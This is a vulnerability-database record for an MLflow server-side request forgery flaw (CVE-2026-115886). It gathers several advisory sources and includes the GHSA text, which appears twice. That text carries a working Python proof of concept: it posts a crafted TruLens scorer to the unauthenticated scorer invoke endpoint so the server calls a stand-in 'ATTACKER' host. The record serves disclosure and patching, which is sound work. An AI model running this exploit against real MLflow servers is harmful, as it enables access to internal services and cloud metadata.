{"id":"CVE-2026-115886","aliases":["BIT-mlflow-2026-115886","EUVD-2026-109184","GHSA-2wqp-q3c6-ccj5"],"status":"published","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00676,"percentile":0.52728,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-470","CWE-918"],"published":"2026-10-23T21:17:21Z","modified":"2026-10-31T02:30:55Z","exploits":[{"source":"nuclei","id":"CVE-2026-115886","title":"MLflow \u003c3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-115886.yaml"}],"fixes":[{"ecosystem":"PyPI","package":"mlflow","fixed_in":["3.17.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"mlflow","fixed_in":["3.17.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mlflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.12.0rc0"},{"fixed":"3.17.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"mlflow","ranges":[{"type":"SEMVER","events":[{"introduced":"3.12.0"},{"fixed":"3.17.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mlflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.12.0rc0"},{"fixed":"3.17.0"}]}],"versions":["3.12.0","3.12.0rc0","3.13.0","3.13.0rc0","3.14.0","3.15.0","3.15.1","3.15.2","3.16.0","3.16.1"]}],"products":[{"vendor":"mlflow","product":"mlflow"}],"references":[{"url":"https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5","tags":["x_refsource_CONFIRM","exploit","web","advisory"]},{"url":"https://github.com/mlflow/mlflow/pull/25890","tags":["x_refsource_MISC","web","fix"]},{"url":"https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f","tags":["x_refsource_MISC","web","fix"]},{"url":"https://github.com/mlflow/mlflow/releases/tag/v3.17.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-2wqp-q3c6-ccj5"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115886","tags":["web","advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115886.json","tags":["advisory"]},{"url":"https://github.com/mlflow/mlflow","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-115886","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.","status":"published","published":"2026-10-23T21:17:21.462Z","modified":"2026-10-29T18:18:21.052Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-470","CWE-918"],"updated_at":"2026-11-02T14:20:01.618694Z"}],"euvd":[{"id":"EUVD-2026-109184","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.","status":"published","published":"2026-10-23T21:17:21Z","modified":"2026-10-29T18:18:21Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:59:15.391097Z"}],"ghsa":[{"id":"GHSA-2wqp-q3c6-ccj5","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"### Summary\nMLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data          # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n    raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)   # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {})  # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"]               # attacker model URI\nscorer_instance = scorer_class(**init_kwargs)      # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n    \"mlflow.genai.scorers.ragas\",\n    \"mlflow.genai.scorers.deepeval\",\n    \"mlflow.genai.scorers.trulens\",\n    \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n    return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n    return _create_gateway_provider(backend, **kwargs)\ntry:\n    from trulens.providers.litellm import LiteLLM\n    litellm_model = backend.model_name\n    ...\n    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\"           # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\"    # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n    span.set_inputs({\"q\": \"hi\"})\n    span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n#    outbound LLM client at the attacker host with an attacker-chosen\n#    Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n    \"name\": \"poc\",\n    \"third_party_scorer_data\": {\n        \"module\": \"mlflow.genai.scorers.trulens\",\n        \"class\": \"Coherence\",\n        \"metric_name\": \"Coherence\",\n        \"model\": \"openai:/gpt-4o\",          # routes to the litellm fallback\n        \"kwargs\": {\n            \"api_base\": ATTACKER,\n            \"api_key\": \"ATTACKER-CANARY\",   # attacker's own value, not a server secret\n        },\n    },\n}\nresp = requests.post(\n    f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n    json={\n        \"experiment_id\": exp_id,\n        \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n        \"trace_ids\": [trace_id],\n    },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5)  # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.","status":"published","published":"2026-10-23T22:07:26Z","modified":"2026-10-23T22:07:27Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-470","CWE-918"],"updated_at":"2026-11-02T14:41:35.723785Z"}],"nvd":[{"id":"CVE-2026-115886","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.","status":"published","published":"2026-10-23T22:16:58.11Z","modified":"2026-10-29T19:17:16.957Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-470","CWE-918"],"updated_at":"2026-11-02T14:13:03.126833Z"}],"osv":[{"id":"CVE-2026-115886","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.","status":"published","published":"2026-10-23T21:17:21.462Z","modified":"2026-10-31T02:30:55.393807Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-470","CWE-918"],"updated_at":"2026-11-02T15:44:56.675758Z"},{"id":"GHSA-2wqp-q3c6-ccj5","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"### Summary\nMLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data          # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n    raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)   # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {})  # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"]               # attacker model URI\nscorer_instance = scorer_class(**init_kwargs)      # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n    \"mlflow.genai.scorers.ragas\",\n    \"mlflow.genai.scorers.deepeval\",\n    \"mlflow.genai.scorers.trulens\",\n    \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n    return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n    return _create_gateway_provider(backend, **kwargs)\ntry:\n    from trulens.providers.litellm import LiteLLM\n    litellm_model = backend.model_name\n    ...\n    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\"           # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\"    # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n    span.set_inputs({\"q\": \"hi\"})\n    span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n#    outbound LLM client at the attacker host with an attacker-chosen\n#    Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n    \"name\": \"poc\",\n    \"third_party_scorer_data\": {\n        \"module\": \"mlflow.genai.scorers.trulens\",\n        \"class\": \"Coherence\",\n        \"metric_name\": \"Coherence\",\n        \"model\": \"openai:/gpt-4o\",          # routes to the litellm fallback\n        \"kwargs\": {\n            \"api_base\": ATTACKER,\n            \"api_key\": \"ATTACKER-CANARY\",   # attacker's own value, not a server secret\n        },\n    },\n}\nresp = requests.post(\n    f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n    json={\n        \"experiment_id\": exp_id,\n        \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n        \"trace_ids\": [trace_id],\n    },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5)  # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.","status":"published","published":"2026-10-23T22:07:26Z","modified":"2026-10-29T12:55:50.260775923Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-470","CWE-918"],"updated_at":"2026-11-02T15:46:35.050232Z"},{"id":"BIT-mlflow-2026-115886","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.","status":"published","published":"2026-10-29T12:15:45.008Z","modified":"2026-10-29T12:55:50.260775923Z","updated_at":"2026-11-02T15:28:33.072289Z"}]}}